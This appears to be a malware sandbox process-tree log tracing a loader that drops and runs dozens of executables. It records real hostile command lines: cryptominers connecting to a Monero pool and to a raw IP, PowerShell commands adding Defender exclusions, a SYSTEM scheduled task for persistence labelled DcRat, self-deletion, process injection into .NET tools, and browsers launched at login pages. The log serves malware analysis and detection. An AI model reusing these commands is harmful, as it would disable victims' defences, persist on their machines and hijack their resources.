        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nspB6E9.tmp" & del "C:\ProgramData\*.dll"" & exit
        5⤵
        
        PID:6744
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        6⤵
        Delays execution with timeout.exe
        
        PID:1292
- - C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe"
    3⤵
    - Executes dropped EXE
    PID:3124
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 1396
      4⤵
      Program crash
      PID:2140
- - C:\Users\Admin\AppData\Local\Temp\Files\bin.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\bin.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:2940
  - - C:\Users\Admin\AppData\Local\Temp\Files\bin.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\bin.exe"
      4⤵
      Loads dropped DLL
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      PID:3724
    - - C:\Windows\SysWOW64\help.exe
        
        "C:\Windows\SysWOW64\help.exe"
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:648
      - C:\Windows\SysWOW64\cmd.exe
        
        /c del "C:\Users\Admin\AppData\Local\Temp\Files\bin.exe"
        6⤵
        
        PID:5028
- - C:\Users\Admin\AppData\Local\Temp\Files\user13.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\user13.exe"
    3⤵
    - Executes dropped EXE
    PID:1952
  - - C:\Windows\system32\cmd.exe
      "cmd" /C start /B C:\Users\Admin\AppData\Local\Temp\2417408603.bat
      4⤵
      PID:4488
- - C:\Users\Admin\AppData\Local\Temp\Files\6.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\6.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:4196
- - C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"
    3⤵
    - Executes dropped EXE
    PID:4380
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c net use
      4⤵
      PID:4808
    - - C:\Windows\SysWOW64\net.exe
        
        net use
        5⤵
        
        PID:2304
- - C:\Users\Admin\AppData\Local\Temp\Files\SuburbansKamacite.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\SuburbansKamacite.exe"
    3⤵
    - Executes dropped EXE
    PID:1752
- - C:\Users\Admin\AppData\Local\Temp\Files\Eszop.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Eszop.exe"
    3⤵
    - Executes dropped EXE
    PID:4304
- - C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3464
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3748
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3328
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3328 -s 564
        5⤵
        Program crash
        
        PID:3488
- - C:\Users\Admin\AppData\Local\Temp\Files\EchoNavigator.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\EchoNavigator.exe"
    3⤵
    - Executes dropped EXE
    PID:2132
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -nologo -noprofile -noninteractive -executionpolicy bypass -command .\serverBrowser.ps1
      4⤵
      PID:2736
- - C:\Users\Admin\AppData\Local\Temp\Files\c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4720
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      PID:3776
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4720 -s 256
      4⤵
      Program crash
      PID:2236
- - C:\Users\Admin\AppData\Local\Temp\Files\z73.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\z73.exe"
    3⤵
    - Executes dropped EXE
    PID:3308
  - - C:\Users\Admin\AppData\Local\Temp\System\OmegaEngine.exe
      "C:\Users\Admin\AppData\Local\Temp\System\OmegaEngine.exe" -B --donate-level 1 -o xmr-eu1.nanopool.org:10343 -u 45wadm9cr7Zhd55jSxrB1q9G1744qBc3BTHvxCvuBbMhYbMFodVFV5ZZ4jACjbVZdiJnoyocYV8C6BhCpCUra9Z82p8QT7u -k --coin monero -o -u 45wadm9cr7Zhd55jSxrB1q9G1744qBc3BTHvxCvuBbMhYbMFodVFV5ZZ4jACjbVZdiJnoyocYV8C6BhCpCUra9Z82p8QT7u -k --coin monero
      4⤵
      Executes dropped EXE
      PID:4628
- - C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
    3⤵
    - Executes dropped EXE
    PID:3224
- - C:\Users\Admin\AppData\Local\Temp\Files\dsdasda.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\dsdasda.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3344
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:1576
- - C:\Users\Admin\AppData\Local\Temp\Files\ngrok.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ngrok.exe"
    3⤵
    - Executes dropped EXE
    PID:3744
- - C:\Users\Admin\AppData\Local\Temp\Files\901d3bacbe82db5382c4f653efb11d4784254b3ad727530c73ae327b734c1a4b.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\901d3bacbe82db5382c4f653efb11d4784254b3ad727530c73ae327b734c1a4b.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: MapViewOfSection
    PID:2556
- - C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3364
  - - C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe"
      4⤵
      Executes dropped EXE
      PID:4788
- - C:\Users\Admin\AppData\Local\Temp\Files\build.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\build.exe"
    3⤵
    - Executes dropped EXE
    PID:796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cd C:\Users\Public\ && 7.exe x runing.7z && cd C:\Users\Public\runing && runing.exe -o 103.106.228.22:5335 --cpu --cpu-max-threads-hint 60 -B
      4⤵
      PID:3416
- - C:\Users\Admin\AppData\Local\Temp\Files\ko.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ko.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1952
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com
      4⤵
      Enumerates system info in registry
      PID:5868
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffd007a9758,0x7ffd007a9768,0x7ffd007a9778
        5⤵
        
        PID:5156
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1816 --field-trial-handle=2156,i,3471897057755248079,121416006728652594,131072 /prefetch:8
        5⤵
        
        PID:6208
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1792 --field-trial-handle=2156,i,3471897057755248079,121416006728652594,131072 /prefetch:8
        5⤵
        
        PID:6200
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1672 --field-trial-handle=2156,i,3471897057755248079,121416006728652594,131072 /prefetch:2
        5⤵
        
        PID:6192
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2988 --field-trial-handle=2156,i,3471897057755248079,121416006728652594,131072 /prefetch:1
        5⤵
        
        PID:6820
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2968 --field-trial-handle=2156,i,3471897057755248079,121416006728652594,131072 /prefetch:1
        5⤵
        
        PID:6808
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3580 --field-trial-handle=2156,i,3471897057755248079,121416006728652594,131072 /prefetch:1
        5⤵
        
        PID:7020
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3976 --field-trial-handle=2156,i,3471897057755248079,121416006728652594,131072 /prefetch:1
        5⤵
        
        PID:1952
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/login
      4⤵
      Enumerates system info in registry
      PID:4152
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffd007a9758,0x7ffd007a9768,0x7ffd007a9778
        5⤵
        
        PID:5168
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1800 --field-trial-handle=1844,i,11418051450366150641,3324156870583677999,131072 /prefetch:8
        5⤵
        
        PID:6608
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1676 --field-trial-handle=1844,i,11418051450366150641,3324156870583677999,131072 /prefetch:2
        5⤵
        
        PID:6600
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com
      4⤵
      Enumerates system info in registry
      PID:4540
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ffd007a9758,0x7ffd007a9768,0x7ffd007a9778
        5⤵
        
        PID:5052
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1796 --field-trial-handle=1856,i,10020902443811372000,17934562889129690032,131072 /prefetch:8
        5⤵
        
        PID:6300
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1612 --field-trial-handle=1856,i,10020902443811372000,17934562889129690032,131072 /prefetch:2
        5⤵
        
        PID:6244
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
      4⤵
      PID:2180
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
        5⤵
        Checks processor information in registry
        
        PID:6076
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6076.0.1260300726\1898268030" -parentBuildID 20221007134813 -prefsHandle 1596 -prefMapHandle 1588 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {63817e3d-f0eb-45bf-9d90-44bf78a9e9f3} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" 1668 19c2e7d2e58 gpu
        6⤵
        
        PID:6424
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6076.1.1513122371\1554572405" -parentBuildID 20221007134813 -prefsHandle 2072 -prefMapHandle 2068 -prefsLen 21608 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0eb597ac-47ef-44eb-adba-1a92c79f3c2c} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" 2084 19c2e2e3158 socket
        6⤵
        
        PID:6680
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6076.2.2058167981\1480967564" -childID 1 -isForBrowser -prefsHandle 2880 -prefMapHandle 2876 -prefsLen 21711 -prefMapSize 233444 -jsInitHandle 916 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b25d823a-1d71-49df-8b8e-1b18a8187b3c} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" 1036 19c3343db58 tab
        6⤵
        
        PID:6028
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6076.3.630826386\1091932981" -childID 2 -isForBrowser -prefsHandle 3124 -prefMapHandle 1412 -prefsLen 21752 -prefMapSize 233444 -jsInitHandle 916 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8889d32e-7629-425a-8252-d569d15f5055} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" 3136 19c336afe58 tab
        6⤵
        
        PID:2848
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6076.4.752028670\1030525021" -childID 3 -isForBrowser -prefsHandle 3692 -prefMapHandle 3680 -prefsLen 26109 -prefMapSize 233444 -jsInitHandle 916 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6430d4b5-fe44-46d6-9899-1e455d0be77e} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" 3704 19c349e2058 tab
        6⤵
        
        PID:6180
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6076.5.925197154\1639814092" -childID 4 -isForBrowser -prefsHandle 3120 -prefMapHandle 3688 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 916 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ff44c6ad-b688-469e-8063-ec17e52b8268} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" 3260 19c34d83e58 tab
        6⤵
        
        PID:6224
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6076.7.117402283\1665528553" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 5524 -prefMapHandle 5520 -prefsLen 26424 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7d2ed410-aa4a-4774-9476-ccc75bcd0484} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" 5536 19c35c97b58 utility
        6⤵
        
        PID:2556
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6076.6.1549216769\1678105265" -parentBuildID 20221007134813 -prefsHandle 5376 -prefMapHandle 5380 -prefsLen 26424 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8a92863e-30b5-4853-a2a8-0c8627eecd13} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" 5400 19c35c86b58 rdd
        6⤵
        
        PID:7728
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6076.8.1746039659\954650045" -childID 5 -isForBrowser -prefsHandle 5676 -prefMapHandle 5672 -prefsLen 26424 -prefMapSize 233444 -jsInitHandle 916 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b2962b5b-cead-41e0-af05-5f22a73b3c93} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" 5688 19c36b2d358 tab
        6⤵
        
        PID:6480
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login
      4⤵
      PID:6136
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login
        5⤵
        
        PID:3124
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
      4⤵
      PID:2488
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
        5⤵
        
        PID:4812
- - C:\Users\Admin\AppData\Local\Temp\Files\382498393934ena-rr.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\382498393934ena-rr.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:5208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
      4⤵
      PID:5788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
      4⤵
      PID:5728
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
      4⤵
      DcRat
      Creates scheduled task(s)
      PID:3812
  - - C:\Windows\System\svchost.exe
      "C:\Windows\System\svchost.exe" formal
      4⤵
      Executes dropped EXE
      PID:6140
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        5⤵
        
        PID:7772
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        5⤵
        
        PID:7848
- - C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:5924
- - C:\Users\Admin\AppData\Local\Temp\Files\autorun.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\autorun.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:5132
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:6096
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:6032
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:5332
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:2500
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        5⤵
        
        PID:8060
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffd007a9758,0x7ffd007a9768,0x7ffd007a9778
        6⤵
        
        PID:8100
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1608 --field-trial-handle=1764,i,6611413575288994552,6559135901858837851,131072 /prefetch:2
        6⤵
        
        PID:6312
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1764,i,6611413575288994552,6559135901858837851,131072 /prefetch:8
        6⤵
        
        PID:7064
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1524 --field-trial-handle=1764,i,6611413575288994552,6559135901858837851,131072 /prefetch:8
        6⤵
        
        PID:7332
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2976 --field-trial-handle=1764,i,6611413575288994552,6559135901858837851,131072 /prefetch:1
        6⤵
        
        PID:3504
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2944 --field-trial-handle=1764,i,6611413575288994552,6559135901858837851,131072 /prefetch:1
        6⤵
        
        PID:5240
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3108 --field-trial-handle=1764,i,6611413575288994552,6559135901858837851,131072 /prefetch:8
        6⤵
        
        PID:8652
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=1760 --field-trial-handle=1764,i,6611413575288994552,6559135901858837851,131072 /prefetch:1
        6⤵
        
        PID:8804
- - C:\Users\Admin\AppData\Local\Temp\Files\AUTOKEY.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\AUTOKEY.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetWindowsHookEx
    PID:5876
- - C:\Users\Admin\AppData\Local\Temp\Files\TrueCrypt_NKwtUN.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\TrueCrypt_NKwtUN.exe"
    3⤵
    - Executes dropped EXE
    PID:5864
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"
      4⤵
      PID:2280
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe"
      4⤵
      PID:7924
